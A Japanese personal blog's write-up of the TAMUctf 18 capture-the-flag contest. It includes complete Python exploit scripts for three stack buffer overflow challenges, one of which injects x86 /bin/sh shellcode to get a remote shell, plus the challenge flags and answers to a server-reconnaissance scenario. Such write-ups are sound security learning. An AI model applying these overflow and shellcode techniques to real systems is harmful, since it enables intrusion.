HappyNote3966’s blog

備忘録、作業記録的なことを書きます。低レベル注意。ご指摘等ございましたらやんわりとお願いします(´;ω;`)

TAMUctf 18 Writeup

先日行われたTAMUctf 18にチームHarekazeとして参加しました。 チーム全体で2574点を獲得し、130位となりました。私はそのうちの175点を獲得しました。

Sat, 17 Feb. 2018, 00:00 UTC — Mon, 26 Feb. 2018, 00:00 UTC 
On-line
A TAMUctf event.
Format: Jeopardy Jeopardy
Official URL: https://ctf.tamu.edu/
This event's weight is subject of public voting!
Future weight: 34.10 
Rating weight: 23.87 
Event organizers 
    TAMUctf

以下、Writeupです。

[pwn 25] pwn1

mainを見てみると、以下のようになっていた。

 804860e:       sub    esp,0xc
 8048611:       lea    eax,[ebp-0x23]
 8048614:       push   eax
 8048615:       call   80483d0 <gets@plt>
 804861a:       add    esp,0x10
 804861d:       cmp    DWORD PTR [ebp-0xc],0xf007ba11
 8048624:       jne    804862d <main+0x7b>
 8048626:       call   804854b <print_flag>

gets関数でユーザからの入力をebp-0x23に読み込んで、その中からebp-0xcの中の値を比較し、0xf007ba11であるかどうかを判定する。 0xf007ba11であれば、print_flagを呼び出しているため、この値になるように入力を調整する。

書いたexploitコードはこちら。

import socket
import struct

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4321))

    s.recv(1024)

    buf = 'A' * 23
    buf += struct.pack("<I",0xf007ba11)
    buf += "\n"

    s.send(buf)

    s.recv(1024)
    print(s.recv(1024))


if __name__ == '__main__':
    main()

イメージとして以下のようになる。

[ebp-0x24]        ?AAA
[ebp-0x20]        AAAA
[ebp-0x1c]        AAAA
[ebp-0x18]        AAAA
[ebp-0x14]        AAAA
[ebp-0x10]        AAAA
[ebp-0x0c]        0xf007ba11
[ebp-0x08]        AAAA
...

フラグは、gigem{H0W_H4RD_1S_TH4T?}だった。

[pwn 50] pwn2

mainからechoが呼び出されており、その中身は以下のようになっていた。

080485b2 <echo>:
 80485b2:       push   ebp
 80485b3:       mov    ebp,esp
 80485b5:       sub    esp,0xf8
...
 80485cf:       sub    esp,0xc
 80485d2:       lea    eax,[ebp-0xef]
 80485d8:       push   eax
 80485d9:       call   80483d0 <gets@plt>
 80485de:       add    esp,0x10
 80485e1:       sub    esp,0xc
 80485e4:       lea    eax,[ebp-0xef]
 80485ea:       push   eax
 80485eb:       call   80483f0 <puts@plt>
 80485f0:       add    esp,0x10
 80485f3:       nop
 80485f4:       leave  
 80485f5:       ret    

こちらもpwn1と同様に、gets関数を用いてユーザからの入力をebp-0xefに読み込んでいる。 pwn1と違うのは、パスワードのような正しい値は存在せず、通常の入力の範囲だと何も先に進まない。入力された値がエコーバックするだけ。 しかしprint_flag関数は存在するので、そこにeipを移したい。

ここはスタックBOF脆弱性を使ってリターンアドレスを書き換えることにする。書いたexploitコードは以下の通り。

import socket
import struct

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4322))

    print(s.recv(1024))

    buf = 'A' * 0xef # buf
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",0x0804854b) # func "print_flag" addr
    buf += "\n"


    s.send(buf)
    s.recv(1024)

    print(s.recv(1024)) # flag


if __name__ == '__main__':
    main()

イメージは以下の通り

[ebp-0xf0]        ?AAA            <=buf
[ebp-0xec]        AAAA
...
[ebp-0x04]        AAAA
[ebp-0x00]        AAAA            <= saved ebp
[ebp+0x04]        (print_flag)<=return address

フラグは、gigem{3ch035_0f_7h3_p4s7}だった。

[pwn 75] pwn3

今回はprint_flagのようなフラグを出力する処理は無かった。 その代わり、echoの中身を見てみると、以下のようになっていた。

080484cb <echo>:
 80484cb:   push   ebp
 80484cc:   mov    ebp,esp
 80484ce:   sub    esp,0xf8
 80484d4:   sub    esp,0x8
 80484d7:   lea    eax,[ebp-0xee]
 80484dd:   push   eax
 80484de:   push   0x8048600 # "Your random number %p!\n"
 80484e3:   call   8048370 <printf@plt>
 80484e8:   add    esp,0x10
...
 80484fb:   sub    esp,0xc
 80484fe:   lea    eax,[ebp-0xee]
 8048504:   push   eax
 8048505:   call   8048380 <gets@plt>
 804850a:   add    esp,0x10
 804850d:   sub    esp,0xc
 8048510:   lea    eax,[ebp-0xee]
 8048516:   push   eax
 8048517:   call   8048390 <puts@plt>
 804851c:   add    esp,0x10
 804851f:   nop
 8048520:   leave
 8048521:   ret

gets関数を用いてユーザからの入力をebp-0xeeに読み込んでいるが、その実際のアドレスをprintf関数を用いて表示している。 さらに、このバイナリのセキュリティ機構をチェックしてみる。

$ checksec.sh --file pwn3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   pwn3

NXdisabled、つまりシェルコード実行に持ち込むことができる。

Linuxx86上で動作するシェルコードをExploit-DBから引っ張ってくる。最終的なexploitコードは以下のようになった。

import socket
import struct
import telnetlib

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4323))

    prompt_str = s.recv(1024)
    print(prompt_str)
    buf_addr = int(prompt_str[146:156],16)
    print("{0:x}".format(buf_addr))

    buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # linux x86 /bin/sh shellcode
    buf += 'A' * (0xee - len(buf))
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",buf_addr) # buf_addr (shellcode addr)
    buf += "\n"


    s.send(buf)
    s.recv(1024)

    t = telnetlib.Telnet()
    t.sock = s
    t.interact()




if __name__ == '__main__':
    main()

イメージとしては、以下のようになる。

[ebp-0xf0]        ??(s
[ebp-0xec]        hell
[ebp-0xe8]        code
[ebp-0xe4]        )AAA
...
[ebp-0x00]        AAAA
[ebp+0x04]        (ebp-0xeeのアドレス)

フラグはgigem{n0w_w3_4r3_g377in6_s74r73d}だった。

[Scenario - NotSoAwesomeInc 25] 00_intrusion

初めて見るタイプの問題だった。シナリオに沿って、色々と調べてみろ、という感じの問題だった。

A system administrator performing routine backups for a company named Awesome Inc noticed some strange activity on a server. The tech didn't say what exactly was "strange", but we'll check it out.

Attached is the output from an external nmap of the server and outputs from ipconfig, netsh, and systeminfo that the tech ran on the server.

To complete this challenge, answer the following question(s):

1.  What operating system is this server running (linux, solaris, windows, etc..)?
2.  What operating system version is this server running (10.04, 12.04, 10, 11, 2003, 2008, etc..)?
3.  List the highest service pack installed or null if none are installed (null, sp0, sp1, sp2, etc..).
4.  What is the host's name (all lowercase)?
5.  Is the server joined to a domain (yes/no)?
6.  If the answer to 5 was yes, what is the domain (all lowercase, else enter null)?
7.  List any ipv4 addresses for this host in lexicographic order separated by commas.
8.  List the port numbers of any services accessible externally in lexicographic order separated by commas.
9.  Does the server use an ingress filtering firewall (yes/no)?
10. Does the server use an egress filtering firewall (yes/no)

答えは上から順番に、

1.  windows
2.  2008
3.  sp1
4.  www
5.  yes
6.  awesomeinc.local
7.  10.0.0.11,192.168.1.11
8.  3389,80
9.  yes
10. no
反省

[Scenario - NotSoAwesomeInc]のカテゴリの問題が面白かったが、Linuxのコマンド力不足を感じた。 grepだったりcutだったり、使いこなすだけで便利なコマンドの使い方は一通り覚えていきたい。